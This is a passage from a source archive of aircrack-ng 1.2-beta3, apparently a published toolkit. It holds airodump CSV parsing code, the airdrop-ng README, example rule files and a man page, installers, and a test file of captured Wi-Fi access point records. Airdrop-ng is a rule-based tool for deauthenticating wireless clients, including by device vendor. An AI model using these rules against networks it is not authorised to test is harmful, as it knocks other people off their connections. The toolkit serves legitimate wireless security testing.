Last time seen, Channel, Speed, Privacy, Power, # beacons, # data, LAN IP, ESSID') except Exception: apStart = cleanedDump.index('BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key') del cleanedDump[apStart] #remove the first line of text with the headings try: stationStart = cleanedDump.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs') except Exception: stationStart = cleanedDump.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, ESSID') except Exception: print "You Seem to have provided an improper input file please make sure you are loading an airodump txt file and not a pcap" Exit(1) del cleanedDump[stationStart] #Remove the heading line clientList = cleanedDump[stationStart:] #Splits all client data into its own list del cleanedDump[stationStart:] #The remaining list is all of the AP information apDict = self.apTag(cleanedDump) clientDict = self.clientTag(clientList) resultDicts = [clientDict,apDict] #Put both dictionaries into a list return resultDicts def apTag(self,devices): """ Create a ap dictionary with tags of the data type on an incoming list """ dict = {} for entry in devices: ap = {} string_list = entry.split(',') #sorry for the clusterfuck but i swear it all makse sense this is builiding a dic from our list so we dont have to do postion calls later len(string_list) if len(string_list) == 15: ap = {"bssid":string_list[0].replace(' ',''), "fts":string_list[1], "lts":string_list[2], "channel":string_list[3].replace(' ',''), "speed":string_list[4], "privacy":string_list[5].replace(' ',''), "cipher":string_list[6], "auth":string_list[7], "power":string_list[8], "beacons":string_list[9], "iv":string_list[10], "ip":string_list[11], "id":string_list[12], "essid":string_list[13][1:], "key":string_list[14]} elif len(string_list) == 11: ap = {"bssid":string_list[0].replace(' ',''), "fts":string_list[1], "lts":string_list[2], "channel":string_list[3].replace(' ',''), "speed":string_list[4], "privacy":string_list[5].replace(' ',''), "power":string_list[6], "beacons":string_list[7], "data":string_list[8], "ip":string_list[9], "essid":string_list[10][1:]} if len(ap) != 0: dict[string_list[0]] = ap return dict def clientTag(self,devices): """ Create a client dictionary with tags of the data type on an incoming list """ dict = {} for entry in devices: client = {} string_list = entry.split(',') if len(string_list) >= 7: client = {"station":string_list[0].replace(' ',''), "fts":string_list[1], "lts":string_list[2], "power":string_list[3], "packets":string_list[4], "bssid":string_list[5].replace(' ',''), "probe":string_list[6:][0:]} if len(client) != 0: dict[string_list[0]] = client return dict def clientApChannelRelationship(self,data): """ parse the dic for the relationships of client to ap """ clients = data[0] AP = data[1] NA = [] #create a var to keep the not associdated clients NAP = [] #create a var to keep track of associated clients to AP's we cant see apCount = {} #count number of Aps dict is faster the list stored as BSSID:number of essids apClient = {} #dict that stores bssid and clients as a nested list for key in (clients): mac = clients[key] #mac is the MAC address of the client if mac["bssid"] != ' (notassociated) ': #one line of of our dictionary of clients if AP.has_key(mac["bssid"]): # if it is check to see its an AP we can see and have info on if apClient.has_key(mac["bssid"]): apClient[mac["bssid"]].extend([key]) #if key exists append new client else: apClient[mac["bssid"]] = [key] #create new key and append the client else: NAP.append(key) # stores the clients that are talking to an access point we cant see else: NA.append(key) #stores the lines of the not assocated AP's in a list return apClient aircrack-ng-1.2-beta3/scripts/airdrop-ng/README0000644000000000000000000001232012026343556017644 0ustar rootroot _ _ _ _ ___ /_\ (_)_ __ __| |_ __ ___ _ __ /\ \ \/ _ \ //_\\| | '__/ _` | '__/ _ \| '_ \ _____ / \/ / /_\/ / _ \ | | | (_| | | | (_) | |_) |_____/ /\ / /_\\ \_/ \_/_|_| \__,_|_| \___/| .__/ \_\ \/\____/ |_| README Airdrop-ng is a rule based Deauth Tool Readme Written by Mubix & TheX1le ##################################################### # Dependencies and Installation # ##################################################### Requires python 2.7 for the installer to work, unless you edit it and remove the "--prefix " part. Dependencies: [*] lorcon [*] Pylorcon2 [*] A lorcon supported wireless card (mac80211 drivers) with monitor mode and injection ********************** * Installing lorcon * ********************** You can get lorcon source from: [*] git clone https://code.google.com/p/lorcon/ trunk Then you will have to compile it: [*] cd trunk && ./configure &&make && make install Next compile Pylorcon2 source [*] wget http://pylorcon2.googlecode.com/files/PyLorcon2-0.1.tar.gz Untar the file [*] tar -xvaf PyLorcon2-0.1.tar.gz Build and install the souce [*] cd PyLorcon2-0.1 && python setup.py install If pylorcon reports import errors you need to run the following command: [*] ln -s /usr/local/lib/liborcon-2.0.0.so /usr/lib This will create a symlink to the directory that pylorcon looks in for liborcon. If you are on ubuntu you will also need to install the python-dev package as they do not include the headers ##################################################### # Usage and Options # ##################################################### -t Airodump-ng CSV file location. It is highly recommended that you have Airodump-ng ACTIVELY RUNNING before and while you run Airdrop-ng. You should run Airodump-ng with the following options: # airodump-ng --write --output-format csv # EXAMPLE: airodump-ng wlan0 -w capture --output-format csv # this will write capture-01.csv to the current working directory -r Rule set config file location. docs/dropRules.conf.example contains several examples on how construct your rules please take a look at this file. The Rules are the core of what makes airdrop-ng so special and determine what clients get a kick and which ones are saved. Rules are run cascading order so make sure your allows are written before your denys. Adding a # to the front of a line comments out the line NOTE: The a/any|any rule... This rule currently causes the program to exit with a error message. This is by design as the tool allows by default. NOTE: By default if no rule exist for a client or ap airdrop-ng assumes that you wish to allow it. This can be changed by putting a d/any|any ##################################################### # Advanced Rule Writing # ##################################################### Rules based on OUI: Currently it only supports the company name or a single OUI, the format is as follows: Company name a or d /bssid or any|company name;company name; company name EXAMPLE: d/any|apple This example attacks only devices with OUI's matching "Apple" Notice the ; as a delimiter for company names this is because many company names contain comas. When writing rules make sure you check the oui.txt file in the support directory. There isn't a standard for company names. For example "Apple" has 11 unique names in the file. If you check the Apple.sample.txt file in the support directory you can see a list of each one of them. For all OUIs to be used you would need to write a rule that contained each company name. A newer and easier way is to use the built in regex function. Airdrop-ng will attempt to find all of company names for you a sample rule using this is: d/any|Sony Corporation or even better: d/any|sony The same can be done in the bssid field d/sony|any d/broadcom|apple The above example would kick any apple device off a broadcom radio AP The regular expression function is NOT case sensitive. This option while much faster only works well with companies that support proprietary hardware like Apple or Sony. This is not to say it wont work with others but it works best on proprietary hardware. Rules written in this manner will match all OUI's found for that company name Matching a single OUI Example: d/00:50:E4|any This rule will match any bssid that 00:50:E4 as an OUI and kick any clients attached to it The same can be done in the client field d/any|00:50:E4 Note: doing a single OUI will match only that OUI. Note: You can mix and match rule types IE d/apple|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4 Or a/00:1B:63:00:60:C4|apple However it is not wise to try to mix and match rule types for example d/apple|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,sony this confuses the current parser and makes it unhappy You can complete the same thing with two rules IE d/apple|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A d/apple|sony Airdrop-ng works in a loop Each time the program finishes sending packets it re-parses the airodump file for changes as well as the rule file. This means that it possible to update rules while the program is running. Happy hacking! aircrack-ng-1.2-beta3/scripts/airdrop-ng/doc/0000755000000000000000000000000012316431261017524 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airdrop-ng/doc/dropRules.conf.example0000644000000000000000000000316511717044676024027 0ustar rootroot#[comments] #All lines in this file are commented out # The # symbol at the front of a line denotes a commented line #airdrop-ng.py rule configuration file #a is allow #d is deny #format is (a or d)/bssid|(any or client mac or list of client macs in format of mac1,mac2,mac3) #it is not wise to mix rule types for example #d/any|00:17:AB:5C:DE:3A,00:1B:63:00:60:C4,apple #While i may work i have no idea result it will have and at this time is not recomended #EX d/bssid|mac1,mac2 #note this is not a valid rule just shows format the / and | placement do matter #MORE EXAMPLE RULES #d/00:1F:90:CA:0B:74|00:18:41:75:8E:4B #deny rule with a single client #d/any|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4 #a deny rule for several clients on any AP #d/any|any #a global deny any any rule #A/00:17:3F:3A:F0:7E|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4 #an allow rule with multiple clients #D/00-1E-58-00-FF-5E|00:19:7E:9A:66:96 #another deny rule with a differnt mac format #d/12:02:DC:02:10:00|any #a bssid deny any client rule #a/any|any #a global allow, no idea why you would wanna use this ;) #oui examples #d/any|Apple, Inc;APPLE COMPUTER;APPLE COMPUTER, INC.;Apple Computer Inc.;APPLE COMPUTER INC.;APPLE, INC #d/any|apple #d/action|broadcom #kicks only broadcom devices off actiontech routers #d/00:1F:3C|any #kicks all clients that match that oui #d/action|00:1F:3C kick any clinets off an actiontec router that match the oui #d/action|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4 #kick the following clients off an any actiontech router #d/00:17:3F:3A:F0:7E|apple kick any apple device off that ap aircrack-ng-1.2-beta3/scripts/airdrop-ng/doc/Makefile0000644000000000000000000000063511722541525021175 0ustar rootrootDOCFILES = Apple.sample.txt dropRules.conf.example default: all all: @echo "Nothing to do, run make install" uninstall: rm $(DESTDIR)$(docdir)/Apple.sample.txt $(DESTDIR)$(docdir)/dropRules.conf.example $(DESTDIR)$(mandir)/airdrop-ng.1 install: install -d $(DESTDIR)$(docdir) install -d $(DESTDIR)$(mandir) install -m 644 $(DOCFILES) $(DESTDIR)$(docdir) install -m 644 airdrop-ng.1 $(DESTDIR)$(mandir) aircrack-ng-1.2-beta3/scripts/airdrop-ng/doc/airdrop-ng.10000644000000000000000000000360411410564270021654 0ustar rootroot.TH AIRDROP-NG 1 .SH NAME airdrop-ng - A rule based wireless deauth tool .SH SYNOPSIS .B airdrop-ng [-i -t -r ] -d -s -p -b -u .SH DESCRIPTION .BI airdrop-ng is a program used for targeted, rule-based deauthentication of users. It can target based on MAC address, type of hardware, (by using an OUI lookup, IE, "APPLE" devices) or completely deauthenticate ALL users. lorcon and pylorcon are used in the transmission of the deauth packets. .SH OPTIONS .TP .I -d , --driver Driver for injection. Supported drivers are: .br wlan-ng, hostap, airjack, prism54, madwifing, madwifiold, rtl8180, rt2570, rt2500, rt73, rt61, zd1211rw, bcm43xx, mac80211 . The default is mac80211. .TP .I -i , --interface Interface of the card for injection. IE, -i mon0 .TP .I -l , --logging Enable logging to a file. If a file path is not provided, airdrop-ng will log to default location. .TP .I -r , --rule This is what seperates airdrop-ng from other deauthentication applications. You can specify what users you want to kick off, based on MAC address, OUI, or completely kick everyone off. Multiple rules can be set. See dropRules.conf in the testing/ directory, or the README included with the installer. .TP .I -s , --sleep Time to sleep before sending next set of packets. .TP .I -t , --dump Path to the txt file in .CSV format from airodump-ng .TP .I -u , --update Updates OUI list and to latest version of airdrop-ng. .SH AUTHOR The application airdrop-ng was written by TheX1le, and King_Tuna. .br This manual page was written by Ronnie Tokazowski for Linux. .br Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation .SH SEE ALSO .br .B lorcon(3) aircrack-ng-1.2-beta3/scripts/airdrop-ng/doc/Apple.sample.txt0000644000000000000000000000047211342020747022612 0ustar rootroot#direct string lookup #strings were grep'd from the oui Txt file Apple Computer Apple Computer Inc Apple Computer Inc. Apple Computer, Inc. Apple Inc Apple, Inc Apple, Inc. APPLE COMPUTER APPLE COMPUTER INC. APPLE COMPUTER, INC. APPLE, INC #regex lookup apple #this will return the same ouis as the strings above aircrack-ng-1.2-beta3/scripts/airdrop-ng/Makefile0000644000000000000000000000060111717333345020424 0ustar rootrootAC_ROOT = ../.. DOCFILES = README include $(AC_ROOT)/common.mak default: all all: @echo Nothing to do. Run make install install: doc python setup.py install --prefix="$(prefix)" --record files.txt doc: $(MAKE) -C doc install uninstall: $(MAKE) -C doc $(@) cat files.txt | xargs rm -rf rm -f files.txt clean: python setup.py clean rm -rf build distclean: clean aircrack-ng-1.2-beta3/scripts/airdrop-ng/setup.py0000644000000000000000000000075011717043663020504 0ustar rootroot#!/usr/bin/env python # This file is Copyright David Francos Cuartero, licensed under the GPL2 license. from distutils.core import setup import os setup(name='airdrop-ng', version='1.1', description='Rule based Deauth Tool', author='TheX1le', console = [{"script": "airdrop-ng" }], url='http://aircrack-ng.org', license='GPL2', classifiers=[ 'Development Status :: 4 - Beta', ], packages=['airdrop'], scripts=['airdrop-ng'], ) aircrack-ng-1.2-beta3/scripts/airdrop-ng/old-installers/0000755000000000000000000000000012316431261021713 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airdrop-ng/old-installers/uninstall.py0000755000000000000000000000101511717043663024307 0ustar rootroot#!/usr/bin/env python __author__ = "Marfi" __version__ = "?" from os import system, geteuid from sys import exit if geteuid() != 0: print "airdrop-ng must be root. Please \n'su' or 'sudo -i' and run again. \nExiting..." exit(1) yno = raw_input ("You shouldn't need this. Remove? (y/n): ") if yno == "y": print "Removing man entry and airdrop-ng..." system ("sudo rm /usr/share/man/man1/airdrop-ng.1") system ("sudo rm /usr/bin/airdrop-ng") system ("sudo rm -r /usr/lib/airdrop-ng") else: print "Exiting..." exit() aircrack-ng-1.2-beta3/scripts/airdrop-ng/old-installers/install.py0000755000000000000000000000726011717043663023754 0ustar rootroot#!/usr/bin/env python __version__ = "1.13.2010.21:00" __author__ = "Marfi" ''' This is the installer file for airdrop-ng. It first checks for different dependancies, such as make, svn, etc. ''' import os, sys from shutil import rmtree if os.geteuid() != 0: print "Installer must be root to run. \nPlease 'su' or 'sudo -i' and try again. \nExiting..." sys.exit(1) class checkDepend: def __init__ (self): clear = "\n" *100 print clear print "Checking for dependancies used by the installer..." self.a = 0 self.deps = ["make", "svn", "tar", "gcc"] for depends in self.deps: if (os.path.isfile("/usr/bin/" + depends) or os.path.isfile("/usr/sbin/" + depends) or os.path.isfile("/usr/local/bin/" + depends) or os.path.isfile("/usr/local/sbin/" + depends) or os.path.isfile ("/bin/" + depends) ) == True: pass else: self.a = 1 print depends + " not installed." if self.a == 0: print "All dependancies installed! Continuing...\n" print "#### NOTE: For Ubuntu based distro's, \npython2.6-dev must be installed. Please \nmake sure it is installed before continuing!\n" else: print "Please install dependancies. Exiting...\n\n" exit() class installAirdrop: def __init__(self): print "Welcome to the airdrop-ng installer!\nYou will be prompted for installing\nAirdrop-ng, lorcon, and pylorcon.\n" yno = raw_input ("Continue with installer? (y/n): ") if yno == "y": pass else: print "Fine, be that way. Exiting..." exit() yno = raw_input ("Install airdrop-ng? (y/n): ") if yno == "y": self.install() else: print "airdrop-ng not installed. Continuing..." pass def install(self): print "Build exist? " if os.path.isdir("build"): rmtree("build") # imported from shutil, or shutil.rmtree() print "File exists. Cleaning it..." os.mkdir ("build") else: os.mkdir ("build") print "Didn't exist. Creating..." # moves everything to build/. This is to keep everything clean, # and not clutter up the directory. os.system ("cp airdrop-ng build/ && cp -r lib build/ && cp docs/airdrop-ng.1 build/") print "Files copied. Now, moving to directory..." os.chdir ("build") if os.path.isdir("/usr/lib/airdrop-ng") == True: rmtree ("/usr/lib/airdrop-ng") print "Moving airdrop-ng to /usr/bin, lib to \n/usr/lib/airdrop-ng, and installing man pages..." os.system ("cp airdrop-ng /usr/bin/airdrop-ng && cp -r lib /usr/lib/airdrop-ng && cp airdrop-ng.1 /usr/share/man/man1/") #os.chdir ("..") print "airdrop-ng installed! =)" class installLorcon: def __init__(self): yno = raw_input ("Would you like to install lorcon? (y/n): ") if yno == "y": print "Running svn co http://802.11ninja.net/svn/lorcon/branch/lorcon-old. This may take a while..." os.system ("svn co http://802.11ninja.net/svn/lorcon/branch/lorcon-old") os.chdir("lorcon-old") os.system ("./configure && make && make install") print "Creating symlinks..." os.system ("ln -s /usr/local/lib/liborcon-1.0.0.so /usr/lib") os.chdir("..") else: print "Lorcon wasn't installed. " class installPylorcon: def __init__(self): yno = raw_input ("Would you like to install pylorcon? (y/n): ") if yno == "y": import urllib urllib.urlretrieve("http://pylorcon.googlecode.com/files/pylorcon-3.tar.bz2", "pylorcon-3.tar.bz2") os.system ("tar -xvf pylorcon-3.tar.bz2") os.chdir ("pylorcon") os.system ("python setup.py install") os.chdir("..") # What actually runs the classes checkDepend() installAirdrop() installLorcon() installPylorcon() yno = raw_input ("Clean up? (y/n): ") if yno == "y": os.chdir("..") if os.path.isdir("build") == True: rmtree("build") print "Operation(s) complete! May the source be with you. =) " sys.exit() aircrack-ng-1.2-beta3/scripts/airgraph-ng/0000755000000000000000000000000012316431261017114 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airgraph-ng/test/0000755000000000000000000000000012316431261020073 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airgraph-ng/test/test-1.txt0000644000000000000000000010410711144205432021751 0ustar rootroot BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key 00:02:2D:8E:F9:FB, 2008-11-02 22:40:42, 2008-11-05 01:43:08, 1, 11, WEP OPN , WEP, , 20, 6162, 56513, 0. 0. 0. 0, 1, , 02:1D:7E:47:F6:B3, 2008-11-02 22:40:41, 2008-11-05 01:43:07, 11, 54, WPA2, CCMP,PSK, 18, 49659, 0, 0. 0. 0. 0, 5, kwifi, 00:1F:33:B3:E3:3E, 2008-11-02 22:41:17, 2008-11-05 01:42:59, 1, 54, WEP , WEP, , 17, 41660, 24, 0. 0. 0. 0, 13, Snow Network, 00:12:17:DA:62:B7, 2008-11-02 22:41:18, 2008-11-05 01:43:53, 8, 54, WEP , WEP, , 15, 36032, 2, 0. 0. 0. 0, 10, YaggaWagga, 00:13:46:08:87:0E, 2008-11-02 22:41:43, 2008-11-05 01:43:42, 6, 54, WPA , TKIP,PSK, 14, 23404, 366, 0. 0. 0. 0, 6, kevinh, 00:16:B6:39:B6:ED, 2008-11-02 22:40:42, 2008-11-05 01:43:55, 6, 54, WPA2, CCMP,PSK, 14, 20268, 72, 0. 0. 0. 0, 7, giggity, 00:0C:41:49:67:9F, 2008-11-02 22:41:56, 2008-11-05 01:43:16, 11, 11, OPN , , , 12, 287, 0, 0. 0. 0. 0, 8, wireless, 00:14:BF:A3:09:8B, 2008-11-02 22:41:17, 2008-11-05 01:42:33, 6, 54, WEP , WEP, OPN, 13, 22053, 183, 0. 0. 0. 0, 6, kelley, 00:1E:58:00:FF:5E, 2008-11-02 22:41:29, 2008-11-05 01:41:03, 5, 54, OPN , , , 16, 6921, 15, 192.168. 0. 1, 8, AmyDLink, 00:1C:10:A8:20:6F, 2008-11-02 22:41:17, 2008-11-05 01:37:40, 6, 54, WEP , WEP, , 12, 723, 829, 0. 0. 0. 0, 13, geyerinternet, 00:1D:7E:16:17:F4, 2008-11-02 22:42:35, 2008-11-05 01:11:49, 6, 54, WEP , WEP, OPN, 11, 1320, 42, 0. 0. 0. 0, 7, linksys, 00:15:E9:16:01:30, 2008-11-02 22:41:30, 2008-11-05 01:01:07, 6, 54, WEP , WEP, OPN, 14, 14576, 3747, 0. 0. 0. 0, 14, Nicole's mommy, 02:7A:75:47:0E:87, 2008-11-04 20:21:59, 2008-11-05 00:07:47, 11, 54, OPN , , , -1, 5, 0, 0. 0. 0. 0, 19, print server 07DA43, 02:1C:BF:01:AB:84, 2008-11-04 22:04:10, 2008-11-04 23:11:44, 1, 54, OPN , , , -1, 486, 21, 192.168. 1.100, 16, Free Public WiFi, 02:2A:C5:BD:0D:44, 2008-11-04 23:01:00, 2008-11-04 23:01:04, 4, 11, OPN , , , -1, 3, 0, 0. 0. 0. 0, 11, megahoc.v24, 02:B0:38:5F:0E:51, 2008-11-02 22:40:41, 2008-11-04 22:17:13, 11, 11, OPN , , , -1, 43, 0, 0. 0. 0. 0, 19, print server 1B7145, 00:1E:E5:73:44:DC, 2008-11-03 21:59:33, 2008-11-04 21:36:31, 11, -1, OPN , , , -1, 0, 10, 0. 0. 0. 0, 0, , 00:0D:0B:2B:22:AD, 2008-11-03 01:00:41, 2008-11-04 20:52:29, 5, 54, WEP , WEP, , 14, 504, 14, 0. 0. 0. 0, 7, hsutree, 9E:00:D4:01:DD:02, 2008-11-04 20:44:36, 2008-11-04 20:45:15, 6, 1, WEP , WEP, , -1, 4, 2, 0. 0. 0. 0, 8, SST-PR-1, 00:12:17:1E:45:F2, 2008-11-03 01:02:41, 2008-11-04 19:05:12, 3, 54, WPA2, TKIP,PSK, 12, 29, 0, 0. 0. 0. 0, 8, HOMENET3, 00:14:BF:00:FC:1D, 2008-11-04 17:13:41, 2008-11-04 17:13:41, -1, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, , 82:03:45:03:42:03, 2008-11-04 16:35:35, 2008-11-04 16:35:44, 6, 1, WEP , WEP, , -1, 7, 3, 0. 0. 0. 0, 8, SST-PR-1, 00:10:18:F1:F2:F3, 2008-11-03 23:48:48, 2008-11-04 00:06:29, 1, 11, OPN , , , 21, 5, 0, 0. 0. 0. 0, 14, BRCM_TEST_SSID, F6:C9:1B:AA:54:31, 2008-11-03 23:37:01, 2008-11-03 23:37:05, 4, 11, OPN , , , -1, 3, 0, 0. 0. 0. 0, 11, megahoc.v24, 00:60:B3:2F:A2:F8, 2008-11-03 21:24:41, 2008-11-03 22:05:57, 1, 11, WPA , CCMP,PSK, 24, 11, 0, 0. 0. 0. 0, 10, ATROAD7800, 4E:ED:40:53:FE:97, 2008-11-03 21:26:05, 2008-11-03 21:35:42, 10, 11, OPN , , , -1, 28, 0, 0. 0. 0. 0, 7, hpsetup, 00:1E:52:F5:3E:D5, 2008-11-03 15:14:05, 2008-11-03 17:34:21, 11, -1, OPN , , , -1, 0, 1, 0. 0. 0. 0, 0, , 22:25:0C:29:67:48, 2008-11-03 11:08:42, 2008-11-03 11:08:43, 6, 54, OPN , , , -1, 3, 0, 0. 0. 0. 0, 7, hpsetup, 02:D5:01:C8:28:D7, 2008-11-03 13:13:58, 2008-11-03 13:14:01, 11, 11, OPN , , , -1, 2, 0, 0. 0. 0. 0, 7, MH07058, 72:03:92:02:08:02, 2008-11-03 16:50:26, 2008-11-03 16:50:40, 6, 1, WEP , WEP, , -1, 9, 1, 0. 0. 0. 0, 8, SST-PR-1, 12:02:DC:02:10:00, 2008-11-03 20:22:03, 2008-11-03 20:22:12, 6, 11, WEP , WEP, , -1, 11, 0, 0. 0. 0. 0, 8, SST-PR-1, 02:00:BD:65:24:DD, 2008-11-03 23:14:55, 2008-11-03 23:14:58, 10, 11, OPN , , , -1, 2, 75, 192.168. 1.112, 7, hpsetup, 00:1D:7E:40:D7:4F, 2008-11-03 03:59:59, 2008-11-04 01:48:48, 6, -1, OPN , , , -1, 0, 16, 192.168. 1.107, 0, , E2:E7:EB:07:43:81, 2008-11-04 02:46:52, 2008-11-04 02:46:56, 6, 11, OPN , , , -1, 14, 0, 0. 0. 0. 0, 7, hpsetup, 00:1A:70:F5:FE:9E, 2008-11-03 01:56:29, 2008-11-04 17:10:05, 6, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, , 00:00:00:00:00:00, 2008-11-04 17:10:01, 2008-11-04 17:10:05, 6, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, , 00:60:B3:2E:59:0F, 2008-11-03 20:49:07, 2008-11-04 18:34:48, 11, 11, WEP , WEP, , 27, 20, 0, 0. 0. 0. 0, 0, , 00:1E:E5:FE:65:C2, 2008-11-03 00:31:59, 2008-11-04 19:18:49, 11, 54, WPA2, CCMP,PSK, 13, 15, 2, 0. 0. 0. 0, 5, XtYr3, 00:1C:F0:6B:90:66, 2008-11-03 03:22:33, 2008-11-04 19:30:06, 11, 54, WEP , WEP, , 11, 5, 3, 0. 0. 0. 0, 5, sarah, 02:13:CE:00:AD:8D, 2008-11-04 20:30:54, 2008-11-04 20:30:58, 11, 54, OPN , , , -1, 2, 0, 0. 0. 0. 0, 8, AOL WiFi, CE:B4:1E:CC:3B:7C, 2008-11-04 21:25:01, 2008-11-04 21:58:02, 10, 11, OPN , , , -1, 197, 0, 0. 0. 0. 0, 7, hpsetup, 00:18:F8:42:7A:93, 2008-11-02 22:43:17, 2008-11-04 22:13:29, 6, 54, WPA , TKIP,PSK, 12, 1021, 0, 0. 0. 0. 0, 17, linksys_SES_41527, 00:0C:41:B0:6D:1A, 2008-11-03 11:40:27, 2008-11-04 22:30:09, 6, 11, OPN , , , 16, 1, 67, 192.168. 1.108, 7, linksys, 00:13:10:88:84:5B, 2008-11-02 23:30:23, 2008-11-04 23:06:45, 6, -1, WEP , WEP, , -1, 0, 4, 0. 0. 0. 0, 0, , 00:13:46:EE:9E:93, 2008-11-03 02:07:32, 2008-11-04 23:35:29, 11, 54, WPA2, CCMP,PSK, 11, 12, 0, 0. 0. 0. 0, 0, , 00:1E:2A:50:4F:18, 2008-11-02 23:29:22, 2008-11-04 23:42:40, 6, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, , 00:17:9A:29:20:62, 2008-11-02 23:22:24, 2008-11-05 00:04:51, 11, 54, OPN , , , 11, 2127, 618, 192.168. 0.101, 7, Shapfam, 00:1E:E5:46:F4:4F, 2008-11-02 22:43:30, 2008-11-05 01:20:04, 11, -1, WPA , , , -1, 0, 333, 0. 0. 0. 0, 0, , 00:18:39:53:B3:CB, 2008-11-04 15:30:49, 2008-11-05 01:25:29, 6, 54, WEP , WEP, , 12, 7, 0, 0. 0. 0. 0, 6, eencee, 00:1F:33:31:5E:D0, 2008-11-02 22:43:30, 2008-11-05 01:38:57, 11, 54, WEP , WEP, , 12, 6575, 8, 0. 0. 0. 0, 3, Tom, 00:13:10:A9:FA:DA, 2008-11-02 22:40:43, 2008-11-05 01:39:32, 6, 54, WPA , TKIP,PSK, 16, 36851, 94, 0. 0. 0. 0, 2, HM, 00:11:95:55:5A:AB, 2008-11-02 22:42:43, 2008-11-05 01:43:42, 6, 54, WEP , WEP, , 13, 3854, 40, 0. 0. 0. 0, 4, NETZ, 00:1D:7E:EF:4E:6F, 2008-11-02 22:41:42, 2008-11-05 01:42:07, 11, 54, WEP , WEP, , 13, 4, 26, 0. 0. 0. 0, 5, Molly, 00:13:10:E3:26:2F, 2008-11-03 00:28:58, 2008-11-05 01:42:07, 6, 54, OPN , , , 13, 69, 116, 192.168. 1.105, 5, Oasis, 00:0F:66:40:41:2A, 2008-11-02 22:41:25, 2008-11-05 01:43:55, 6, 11, OPN , , , 14, 3019, 1, 0. 0. 0. 0, 7, linksys, 00:13:10:B6:B2:AF, 2008-11-02 22:51:07, 2008-11-05 01:43:29, 6, 54, WEP , WEP, OPN, 12, 730, 13, 0. 0. 0. 0, 12, DoggyWorld27, 00:18:39:58:3D:0A, 2008-11-02 22:40:41, 2008-11-05 01:43:55, 11, 54, WPA , TKIP,PSK, 13, 39314, 256, 0. 0. 0. 0, 7, vanessa, 00:13:10:E3:BF:C5, 2008-11-02 22:46:09, 2008-11-05 01:43:58, 4, 54, OPN , , , 14, 37056, 1340, 192.168. 0.104, 8, home-net, 00:1B:2F:E8:8D:1A, 2008-11-02 22:40:41, 2008-11-05 01:43:33, 11, 54, WEP , WEP, , 14, 58620, 120, 0. 0. 0. 0, 5, atown, 00:19:5B:4C:9D:CB, 2008-11-02 22:40:42, 2008-11-05 01:43:47, 6, 54, WEP , WEP, OPN, 14, 10302, 346, 0. 0. 0. 0, 5, HLnet, 00:16:B6:E3:C3:7F, 2008-11-02 22:41:12, 2008-11-05 01:43:51, 6, 54, OPN , , , 16, 23648, 228, 192.168. 1.133, 7, linksys, 00:09:5B:D8:B7:D0, 2008-11-02 22:41:34, 2008-11-05 01:43:55, 11, 54, OPN , , , 15, 16630, 124, 192.168. 0. 4, 7, Nedgear, 00:1E:E5:6A:67:72, 2008-11-02 22:41:17, 2008-11-05 01:43:55, 6, 54, WPA2WPA , CCMP TKIP,PSK, 18, 44437, 318, 0. 0. 0. 0, 6, ndiane, 00:0F:66:2D:A8:21, 2008-11-02 22:40:41, 2008-11-05 01:43:51, 11, 54, WEP , WEP, OPN, 15, 36123, 152, 0. 0. 0. 0, 6, printz, 00:1B:2F:01:47:02, 2008-11-02 22:42:22, 2008-11-05 01:43:29, 6, 54, WEP , WEP, , 16, 1886, 4, 0. 0. 0. 0, 15, KD Wireless Net, 00:0C:41:BC:B8:D9, 2008-11-02 22:40:44, 2008-11-05 01:43:57, 8, 11, WEP , WEP, , 20, 54896, 1751, 0. 0. 0. 0, 8, HOMENET2, 00:1D:7E:47:F6:B2, 2008-11-02 22:40:41, 2008-11-05 01:43:42, 11, 54, OPN , , , 17, 50987, 11890, 192.168. 1.130, 5, Gizmo, 00:18:F8:1A:DA:A5, 2008-11-02 22:40:24, 2008-11-05 01:43:56, 6, 54, WEP , WEP, OPN, 19, 79812, 39777, 0. 0. 0. 0, 6, Saloka, 00:1A:70:D1:E9:D6, 2008-11-02 22:40:42, 2008-11-05 01:43:47, 6, 54, WEP , WEP, OPN, 15, 17210, 261, 0. 0. 0. 0, 5, YaAli, 00:12:17:3A:B9:78, 2008-11-02 22:40:41, 2008-11-05 01:43:55, 11, 54, WPA2, CCMP TKIP,PSK, 19, 34947, 855, 0. 0. 0. 0, 7, HOMENET, 00:17:3F:3A:F0:7E, 2008-11-02 22:40:40, 2008-11-05 01:43:55, 11, 54, WPA , TKIP,PSK, 16, 41698, 3339, 0. 0. 0. 0, 6, Finack, 00:0F:66:2C:A6:5B, 2008-11-02 22:40:41, 2008-11-05 01:43:55, 5, 54, WPA2, CCMP TKIP,PSK, 21, 45279, 4005, 0. 0. 0. 0, 9, Avalanche, 00:1C:B3:AE:16:6E, 2008-11-02 22:41:14, 2008-11-05 01:43:54, 3, 54, WPA2WPA , CCMP TKIP,PSK, 21, 49404, 191, 0. 0. 0. 0, 4, POCO, 00:09:5B:6A:C6:30, 2008-11-02 22:41:12, 2008-11-05 01:43:55, 11, 54, WEP , WEP, OPN, 17, 66914, 645, 0. 0. 0. 0, 8, fischel , 00:0F:66:6A:3A:C0, 2008-11-02 22:40:42, 2008-11-05 01:43:57, 6, 54, WEP , WEP, , 17, 59466, 1010, 0. 0. 0. 0, 9, godfather, 00:0F:66:8E:F3:E8, 2008-11-02 22:40:42, 2008-11-05 01:43:56, 6, 54, WEP , WEP, , 19, 54240, 23, 0. 0. 